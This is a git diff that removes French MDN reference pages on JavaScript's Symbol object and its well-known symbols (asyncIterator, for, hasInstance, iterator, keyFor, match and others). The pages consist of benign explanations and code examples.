Le moteur JavaScript appelle la méthode [@@toPrimitive]() afin de convertir un objet en une valeur primitive. Généralement, il n'est pas nécessaire d'appeler [@@toPrimitive]() car le moteur JavaScript l'appelle automatiquement lorsqu'il détecte un objet là où une valeur primitive est attendue.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.@@toPrimitive")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.toPrimitive")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/asynciterator/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/asynciterator/index.html deleted file mode 100644 index 0d28cc276d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/asynciterator/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Symbol.asyncIterator -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/asyncIterator -tags: - - ECMAScript 2018 - - JavaScript - - Propriété - - Reference - - Symbole -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/asyncIterator ---- -
{{JSRef}}
- -

Le symbole connu Symbol.asyncIterator définit l'itérateur asynchrone par défaut d'un objet. Si cette propriété est définie sur un objet, celui-ci est un itérable asynchrone et peut être utilisé avec une boucle for await...of.

- - - -

{{js_property_attributes(0,0,0)}}

- -

Description

- -

Le symbole Symbol.asyncIterator est un symbole natif utilisé pour accéder à la méthode @@asyncIterator d'un objet. Pour qu'un objet soit un itérable asynchrone, il doit avoir une clé Symbol.asyncIterator.

- -

Exemples

- -

Itérable asynchrone personnalisé

- -

Il est possible de définir son propre itérable en définissant la propriété [Symbol.asyncIterator] d'un objet :

- -
const myAsyncIterable = new Object();
-myAsyncIterable[Symbol.asyncIterator] = async function*() {
-    yield "coucou";
-    yield "l'itération";
-    yield "asynchrone !";
-};
-
-(async () => {
-    for await (const x of myAsyncIterable) {
-        console.log(x);
-        // expected output:
-        //    "coucou"
-        //    "l'itération"
-        //    "asynchrone !"
-    }
-})();
-
- -

Itérables asynchrones natifs

- -

Il n'existe actuellement pas d'objets JavaScript natifs qui possèdent la clé [Symbol.asyncIterator] par défaut. Toutefois, les flux (Streams) WHATWG pourraient devenir les premiers objets natifs itérables asynchrones.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2018', '#sec-symbol.asynciterator', 'Symbol.asyncIterator')}}{{Spec2('ES2018')}} 
- -

Compatibilité des navigateurs

- - - -

{{compat("javascript.builtins.Symbol.asyncIterator")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/description/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/description/index.html deleted file mode 100644 index c3a7d2d392..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/description/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Symbol.prototype.description -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/description -tags: - - JavaScript - - Propriété - - Prototype - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/description ---- -
{{JSRef}}
- -

La propriété en lecture seule description est une chaîne de caractères qui renvoie la description optionnelle de l'objet {{jsxref("Symbol")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-prototype-description.html")}}
- - - -

Syntaxe

- -
Symbol('maDescription').description;
-Symbol.iterator.description;
-Symbol.for('toto').description;
-
- -

Description

- -

Les objets {{jsxref("Symbol")}} peuvent être créés avec une description facultative qui peut être utilisée pour du débogage mais sans accéder au symbole. La propriété Symbol.prototype.description peut être utilisée afin de lire cette description. Cette propriété est différente de Symbol.prototype.toString() car elle ne contient pas la chaîne de caractères "Symbol()" autour de la description (voir les exemples qui suivent).

- -

Exemples

- -
Symbol('desc').toString();   // "Symbol(desc)"
-Symbol('desc').description;  // "desc"
-Symbol('').description;      // ""
-Symbol().description;        // undefined
-
-// symboles connus
-Symbol.iterator.toString();  // "Symbol(Symbol.iterator)"
-Symbol.iterator.description; // "Symbol.iterator"
-
-// symboles globaux
-Symbol.for('toto').toString();  // "Symbol(toto)"
-Symbol.for('toto').description; // "toto"
-
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
Proposition pour Symbol.prototype.descriptionProposition de niveau 4
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.description")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/for/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/for/index.html deleted file mode 100644 index bb60102797..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/for/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Symbol.for() -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/for -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for ---- -
{{JSRef}}
- -

La méthode Symbol.for(clé) permet de chercher parmi les symboles existants enregistrés dans le registre global de l'environnement d'exécution. Si un symbole associé à la clé donnée existe, il est renvoyé par la fonction, sinon un nouveau symbole associé à cette clé est créé dans le registre.

- -
{{EmbedInteractiveExample("pages/js/symbol-for.html")}}
- - - -

Syntaxe

- -
Symbol.for(clé);
- -

Paramètres

- -
-
clé
-
Une chaîne de caractères, obligatoire. La clé correspondant au symbole (également utilisée pour la description du symbole).
-
- -

Valeur de retour

- -

Un symbole existant s'il en a été trouvé un avec la clé fournie. Sinon, un nouveau symbole est créé puis renvoyé par la méthode.

- -

Description

- -

À la différence de Symbol(), la méthode Symbol.for() crée un symbole enregistré dans le registre global. Symbol.for() ne crée pas nécessairement un nouveau symbole pour chaque appel, elle vérifie d'abord si un symbole avec la clé donnée est d'ores et déjà présent dans le registre. Si c'est le cas, le symbole correspondant est renvoyé, sinon Symbol.for() crée un nouveau symbol global.

- -

Registre global pour les symboles

- -

Le registre global des symboles est une liste, initialement vide, dont les éléments ont la structure suivante :

- - - - - - - - - - - - - - - - - -
Structure d'un enregistrement dans le registre global des symboles
Nom du champValeur
[[key]]Une chaîne de caractères représentant la clé pour identifier un symbole en particulier.
[[symbol]]Un symbole enregistré de façon globale.
- -

Exemples

- -
Symbol.for("toto"); // crée un nouveau symbole global
-Symbol.for("toto"); // renvoie le symbole déjà existant
-
-// Globalement on a un symbole par clé, localement non
-Symbol.for("machin") === Symbol.for("machin"); // true
-Symbol("machin") === Symbol("machin"); // false
-
-// La clé sert également de description
-var sym = Symbol.for("mario");
-sym.toString(); // "Symbol(mario)"
-
- -

Afin d'éviter des conflits entre les clés des symboles globaux liés à votre application et les autres symboles potentiels (bibliothèques externes, etc...), il peut être judicieux de les préfixer :

- -
Symbol.for("mdn.toto");
-Symbol.for("mdn.machin");
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.for', 'Symbol.for')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.for")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.keyFor()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/hasinstance/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/hasinstance/index.html deleted file mode 100644 index 5616d20bda..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/hasinstance/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Symbol.hasInstance -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/hasInstance -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance ---- -
{{JSRef}}
- -

Le symbole « connu » Symbol.hasInstance est utilisé afin de déterminer si un objet constructeur reconnaît un objet comme une de ses instances. On peut donc adapter/personnaliser le comportement de l'opérateur {{jsxref("Opérateurs/instanceof", "instanceof")}} grâce à ce symbole.

- -
{{EmbedInteractiveExample("pages/js/symbol-hasinstance.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Exemples

- -

On peut implémenter un comportement différent pour instanceof de cette façon :

- -
class MonArray {
-  static [Symbol.hasInstance](instance) {
-    return Array.isArray(instance);
-  }
-}
-console.log([] instanceof MonArray); // true
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.hasInstance")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/index.html deleted file mode 100644 index 6a0451f87b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/index.html +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: Symbol -slug: Web/JavaScript/Reference/Objets_globaux/Symbol -tags: - - ECMAScript 2015 - - JavaScript - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol ---- -
{{JSRef}}
- -

Un symbole est un type de données primitif représentant une donnée unique et inchangeable qui peut être utilisée afin de représenter des identifiants pour des propriétés d'un objet. L'objet Symbol est un conteneur objet implicite pour le {{Glossary("Primitive", "type de données primitif")}} symbole.

- -
{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}
- - - -

Syntaxe

- -
Symbol([description])
- -

Paramètres

- -
-
description {{optional_inline}}
-
Une chaîne de caractères optionnelle. Correspond à une description du symbole, elle peut être utile pour déboguer (mais pas pour accéder au symbole).
-
- -

Description

- -

Pour créer un nouveau symbole, il suffit d'appeler Symbol(), éventuellement avec une chaîne de caractère descriptive :

- -
var sym1 = Symbol();
-var sym2 = Symbol("toto");
-var sym3 = Symbol("toto");
-
- -

Le fragment de code ci-dessus permet de créer trois nouveaux symboles. On notera que l'instruction Symbol("toto") ne convertit pas la chaîne "toto" en un symbole. On crée bien un nouveau symbole pour chaque instruction ci-avant.

- -
Symbol("toto") === Symbol("toto"); // false
- -

La syntaxe suivante, utilisant l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}, entraînera une exception {{jsxref("TypeError")}}:

- -
var sym = new Symbol(); // TypeError
- -

Cela est fait pour empêcher d'écrire un conteneur (wrapper) explicite de Symbol plutôt qu'une nouvelle valeur, cela peut être surprenant car généralement, on peut créer des objets « autour » de types primitifs (par exemple avec new Boolean, new String et new Number).

- -

Si on souhaite obtenir un object contenant un symbole, on pourra toujours utiliser la fonction Object() :

- -
var sym = Symbol("toto");
-typeof sym;     // "symbol"
-var symObj = Object(sym);
-typeof symObj;  // "object"
- -

Symboles partagés et registre global des symboles

- -

La syntaxe manipulée ci-avant, utilisant la fonction Symbol(), ne crée pas un symbole global, disponible partout dans votre code. Pour créer des symboles qui soient disponibles pour différents fichiers et appartiennent à l'environnement global, il faut utiliser les méthodes {{jsxref("Symbol.for()")}} et {{jsxref("Symbol.keyFor()")}} afin de définir et de récupérer les symboles listés dans le registre global.

- -

Trouver les propriétés identifiées par des symboles pour un objet

- -

La méthode {{jsxref("Object.getOwnPropertySymbols()")}} renvoie un tableau de symboles, permettant ainsi de connaître les propriétés identifiées par un symbole pour un objet donné. À l'initialisation, un objet ne contient aucune propriété propre identifiée par un symbole, ce tableau sera donc vide jusqu'à ce qu'une propriété, identifiée par un symbole, lui soit ajoutée.

- -

Les symboles et les conversions

- -

Lorsqu'on utilise des mécanismes de conversion de types avec les symboles, on aura le comportement suivant :

- -
    -
  • Lorsqu'on tente de convertir un symbole en un nombre, cela provoquera une exception {{jsxref("TypeError")}} (par exemple avec +sym ou sym | 0).
    • -
  • L'égalité faible permet d'obtenir true avec Object(sym) == sym.
    • -
  • Symbol("toto") + "truc" lève une exception {{jsxref("TypeError")}} (le symbole ne peut pas être converti en une chaîne de caractères), cela permet par exemple d'éviter de créer (sans s'en rendre compte) des noms de propriétés basés sur des symboles.
    • -
  • La méthode utilisant la conversion avec {{jsxref("String","String()")}} fonctionnera comme un appel à {{jsxref("Symbol.prototype.toString()")}}. En revanche, new String(sym) renverra une erreur.
    • -
- -

Propriétés

- -
-
Symbol.length
-
La propriété length dont la valeur est 0.
-
{{jsxref("Symbol.prototype")}}
-
Cette propriété représente le prototype du constructeur Symbol.
-
- -

Symboles connus

- -

En plus des symboles que vous pouvez créer, JavaScript possède certains symboles natifs représentant des aspects internes du langages qui, pour ECMAScript 5 et les versions précédentes, n'étaient pas exposées aux développeurs. Il est possible d'accéder à ces symboles en utilisant les propriétés suivantes :

- -

Symboles d'itération

- -
-
{{jsxref("Symbol.iterator")}}
-
Une méthode qui renvoie l'itérateur par défaut d'un objet. Ce symbole est utilisé par la boucle {{jsxref("Instructions/for...of","for...of")}}.
-
{{jsxref("Symbol.asyncIterator")}}
-
Une méthode qui renvoie l'itérateur asynchrone par défaut d'un objet. Ce symbole est utilisé par la boucle for await...of.
-
- -

Symboles liés aux expressions rationnelles

- -
-
{{jsxref("Symbol.match")}}
-
Une méthode qui fait correspondre une expression rationnelle avec une chaîne de caractères. Elle est aussi utilisée pour déterminer si un objet peut être utilisé comme une expression rationnelle.
-
{{jsxref("Symbol.matchAll")}}
-
Une méthode qui renvoie un itérateur permettant de parcourir l'ensemble des correspondances entre une chaîne de caractères et une expression rationnelle. Ce symbole est utilisé par {{jsxref("String.prototype.matchAll()")}}.
-
{{jsxref("Symbol.replace")}}
-
Une méthode qui remplace les sous-chaînes correspondantes dans une chaîne de caractères. Utilisée par {{jsxref("String.prototype.replace()")}}.
-
{{jsxref("Symbol.search")}}
-
Une méthode qui renvoie l'indice d'une chaîne de caractères pour lequel on a une correspondance avec une expression rationnelle. Utilisée par {{jsxref("String.prototype.search()")}}.
-
{{jsxref("Symbol.split")}}
-
Une méthode qui découpe la chaîne à l'indice donné par la correspondance avec une expression rationnelle. Utilisée par {{jsxref("String.prototype.split()")}}.
-
- -

Autres symboles

- -
-
{{jsxref("Symbol.hasInstance")}}
-
Une méthode qui permet de déterminer si un constructeur reconnaît un objet comme son instance. Utilisé par {{jsxref("Opérateurs/instanceof", "instanceof")}}.
-
{{jsxref("Symbol.isConcatSpreadable")}}
-
Une valeur booléenne qui indique si un objet devrait être réduit à la concaténation des éléments de son tableau via  {{jsxref("Array.prototype.concat()")}}.
-
{{jsxref("Symbol.unscopables")}}
-
Un objet dont les noms des propriétés propres et héritées sont exclues de l'objet associé lors de l'utilisation de with.
-
{{jsxref("Symbol.species")}}
-
Un constructeur utilisé pour construire des objets dérivés.
-
{{jsxref("Symbol.toPrimitive")}}
-
Spécifié comme @@toPrimitive. Une méthode qui convertit un objet en sa valeur primitive.
-
{{jsxref("Symbol.toStringTag")}}
-
Spécifié comme @@toStringTag. Une chaîne de caractères utilisée pour la description d'un objet. Ce symbole est utilisé par {{jsxref("Object.prototype.toString()")}}.
-
- -

Méthodes

- -
-
{{jsxref("Symbol.for()", "Symbol.for(key)")}}
-
Recherche parmi les symboles existants un symbole désigné par cette clé. S'il est trouvé, le symbole est renvoyé, sinon un nouveau symbole est créé et enregistré avec cette clé dans le registre global des symboles.
-
{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}
-
Pour un symbole donné, récupère la clé d'un symbole partagé depuis le registre global.
-
- -

Prototype Symbol

- -

Tous les symboles héritent de {{jsxref("Symbol.prototype")}}.

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/prototype','Propri.C3.A9t.C3.A9s')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/prototype','M.C3.A9thodes')}}

- -

Exemples

- -

Utiliser l'opérateur typeof avec des symboles

- -

L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} permet d'identifier des symboles :

- -
typeof Symbol() === 'symbol'
-typeof Symbol('toto') === 'symbol'
-typeof Symbol.iterator === 'symbol'
-
- -

Les symboles et les boucles for...in

- -

Les symboles ne peuvent pas être énumérés dans les boucles for...in. De plus, la méthode {{jsxref("Object.getOwnPropertyNames()")}} ne renverra pas les propriétés identifiées par des symboles. La méthode {{jsxref("Object.getOwnPropertySymbols()")}} permet d'avoir accès à ces propriétés.

- -
var obj = {};
-
-obj[Symbol("a")] = "a";
-obj[Symbol.for("b")] = "b";
-obj["c"] = "c";
-obj.d = "d";
-
-for (var i in obj) {
-   console.log(i); // enregistre "c" et "d"
-}
- -

Les symboles et JSON.stringify()

- -

Les propriétés identifiées par des symboles seront totalement ignorées par JSON.stringify():

- -
JSON.stringify({[Symbol("toto")]: "toto"});
-// '{}'
- -

Pour plus de détails, voir la page {{jsxref("JSON.stringify()")}}.

- -

Utiliser les symboles enveloppés dans un objet

- -

Lors qu'on on utilise un objet pour contenir la valeur du symbole et faire référence à une propriété, l'objet sera ramené au symbole d'origine :

- -
var sym = Symbol("toto")
-var obj = {[sym]: 1};
-obj[sym];              // 1
-obj[Object(sym)];      // toujours 1
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/isconcatspreadable/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/isconcatspreadable/index.html deleted file mode 100644 index 89046c2290..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/isconcatspreadable/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Symbol.isConcatSpreadable -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/isConcatSpreadable -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable ---- -
{{JSRef}}
- -

Le symbole connu Symbol.isConcatSpreadable est utilisé pour configurer la façon dont un tableau est aplati lors d'une concaténation via la méthode  {{jsxref("Array.prototype.concat()")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-isconcatspreadable.html")}}
- - - -

Description

- -

Le symbole @@isConcatSpreadable (Symbol.isConcatSpreadable) peut être défini comme une propriété propre ou héritée. C'est une valeur booléenne qui contrôle le comportement des tableaux et des objets semblables à des tableaux :

- -
    -
  • Pour les tableaux, concat aplatira les tableaux par défaut. Symbol.isConcatSpreadable peut être utilisé pour obtenir le comportement opposé.
    • -
  • Pour les objets semblables à des tableaux, par défaut, il n'y aucune mise à plat. Symbol.isConcatSpreadable permet de forcer cette mise à plat.
    • -
- -

{{js_property_attributes(0,0,0)}}

- -

Exemples

- -

Tableaux (Array)

- -

Par défaut, {{jsxref("Array.prototype.concat()")}} aplatit les tableaux pour le résultat de la concaténation :

- -
var alpha = ['a', 'b', 'c'],
-    numérique = [1, 2, 3];
-
-var alphaNumérique = alpha.concat(numérique);
-
-console.log(alphaNumérique);
-// Résultat : ['a', 'b', 'c', 1, 2, 3]
-
- -

En définissant Symbol.isConcatSpreadable avec false, on peut désactiver le comportement par défaut :

- -
var alpha = ['a', 'b', 'c'],
-    numérique = [1, 2, 3];
-
-numérique[Symbol.isConcatSpreadable] = false;
-var alphaNumérique = alpha.concat(numérique);
-
-console.log(alphaNumérique);
-// Résultat: ['a', 'b', 'c', [1, 2, 3] ]
-
- -

Objets semblables à des tableaux

- -

Pour les objets semblables à un tableau, par défaut, il n'y a pas de fusion. Il faut donc que Symbol.isConcatSpreadable vaille true pour aplatir le tableau :

- -
var x = [1, 2, 3];
-
-var fauxTableau = {
-  [Symbol.isConcatSpreadable]: true,
-  length: 2,
-  0: "coucou",
-  1: "monde"
-}
-
-x.concat(fauxTableau); // [1, 2, 3, "coucou", "monde"]
-
- -
-

Note : La propriété length indique ici le nombre de propriétés à ajouter au tableau.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}{{Spec2('ESDraft')}}Aucune modification.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.isConcatSpreadable")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.concat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/iterator/index.html deleted file mode 100644 index b2752e1efa..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/iterator/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Symbol.iterator -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/iterator -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/iterator ---- -
{{JSRef}}
- -

Le symbole Symbol.iterator définit l'itérateur par défaut d'un objet. C'est l'itérateur qui sera utilisé par for...of.

- -
{{EmbedInteractiveExample("pages/js/symbol-iterator.html")}}
- - - -

Description

- -

Lorsqu'on doit itérer sur un objet (par exemple avec une boucle for..of), sa méthode @@iterator est appelée sans argument et l'itérateur renvoyé par la méthode est utilisé pour récupérer les valeurs sur lesquelles itérer.

- -

Certains types natifs possèdent un comportement par défaut pour l'itération, d'autres types (tels qu'{{jsxref("Object")}}) n'ont pas de tel comportement. Les types natifs qui disposent d'une méthode @@iterator sont :

- -
    -
  • {{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}
    • -
  • {{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}
    • -
  • {{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}
    • -
  • {{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
    • -
  • {{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}
    • -
- -

Pour plus d'informations, voir aussi la page sur les protocoles d'itération.

- -

{{js_property_attributes(0,0,0)}}

- -

Exemples

- -

Itérables définis par l'utilisateur

- -

Il est possible de construire un itérable de la façon suivante :

- -
var monItérable = {}
-monItérable[Symbol.iterator] = function* () {
-    yield 1;
-    yield 2;
-    yield 3;
-};
-[...monItérable] // [1, 2, 3]
-
- -

On peut également définir ces itérables via des propriétés calculées dans des déclarations de classe ou dans des littéraux objets :

- -
class Toto {
-  *[Symbol.iterator] () {
-    yield 1;
-    yield 2;
-    yield 3;
-  }
-}
-
-const monObj = {
-  *[Symbol.iterator] () {
-    yield "a";
-    yield "b";
-  }
-}
-
-[... new Toto] // [1, 2, 3]
-[... monObj]   // ["a", "b"]
-
- -

Itérables mal-formés

- -

Si la méthode @@iterator d'un itérable ne renvoie pas un itérateur, on dira que c'est un itérable mal-formé. Utiliser un tel itérable peut provoquer des erreurs lors de l'exécution :

- -
var itérableMalFormé = {}
-itérableMalFormé[Symbol.iterator] = () => 1
-[...itérableMalFormé] // TypeError: [] is not a function
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.iterator', 'Symbol.iterator')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.iterator', 'Symbol.iterator')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.iterator")}}

- -

Voir aussi

- -
    -
  • Les protocoles d'itération
    • -
  • {{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}
    • -
  • {{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}
    • -
  • {{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}
    • -
  • {{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
    • -
  • {{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/keyfor/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/keyfor/index.html deleted file mode 100644 index ea2e095f88..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/keyfor/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Symbol.keyFor() -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/keyFor -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/keyFor ---- -
{{JSRef}}
- -

La méthode Symbol.keyFor(sym) permet de récupérer la clé d'un symbole donné qui est partagé via le registre global des symboles.

- -
{{EmbedInteractiveExample("pages/js/symbol-keyfor.html")}}
- - - -

Syntaxe

- -
Symbol.keyFor(sym);
- -

Paramètres

- -
-
sym
-
Le symbole dont on souhaite connaître la clé. Ce paramètre est obligatoire.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente la clé d'un symbole donné si celui-ci est trouvé dans le registre global ou {{jsxref("undefined")}} sinon.

- -

Exemples

- -
var symboleGlobal = Symbol.for("toto"); // on crée un symbole global
-Symbol.keyFor(symboleGlobal); // "toto"
-
-var symboleLocal = Symbol();
-Symbol.keyFor(symboleLocal); // undefined
-
-// les symboles connus ne sont pas dans le registre
-// global
-Symbol.keyFor(Symbol.iterator); // undefined
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.keyfor', 'Symbol.keyFor')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.keyfor', 'Symbol.keyFor')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.keyFor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.for()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/match/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/match/index.html deleted file mode 100644 index 74939e18fd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/match/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Symbol.match -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/match -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/match ---- -
{{JSRef}}
- -

Le symbole Symbol.match définit la correspondance d'une expression rationnelle par rapport à une chaîne de caractères. Cette fonction est appelée par la méthode {{jsxref("String.prototype.match()")}}.

- -
{{EmbedInteractiveExample("pages/js/symbol-match.html")}}
- - - -

Description

- -

Cette fonction est également utilisée pour identifier les objets qui jouent un rôle avec les expressions rationnelles. Ainsi, les méthodes {{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} et {{jsxref("String.prototype.includes()")}} vérifient si leur premier argument est une expression rationnelle et lèvent une exception {{jsxref("TypeError")}} si c'est le cas. Si le symbole match est modifié et vaut une valeur false (ou équivalente), cela indique que l'objet ne doit pas être utilisé comme une expression rationnelle.

- -

{{js_property_attributes(0,0,0)}}

- -

Exemples

- -

Le code suivant renverra une exception {{jsxref("TypeError")}} :

- -
"/truc/".startsWith(/truc/);
-
-// lève une TypeError car /truc/
-// est une expression rationnelle
-// et que Symbol.match n'a pas été modifié.
- -

Cependant, si Symbol.match vaut false, cette vérification isRegExp indiquera que l'objet à prendre en compte n'est pas une expression rationnelle. Les méthodes startsWith et endsWith ne déclencheront donc pas d'exception TypeError.

- -
var re = /toto/;
-re[Symbol.match] = false;
-"/toto/".startsWith(re); // true
-"/truc/".endsWith(re);   // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.match', 'Symbol.match')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.match', 'Symbol.match')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Symbol.match")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Symbol.replace")}}
    • -
  • {{jsxref("Symbol.search")}}
    • -
  • {{jsxref("Symbol.split")}}
    • -
  • {{jsxref("RegExp.@@match", "RegExp.prototype[@@match]()")}}
    • -
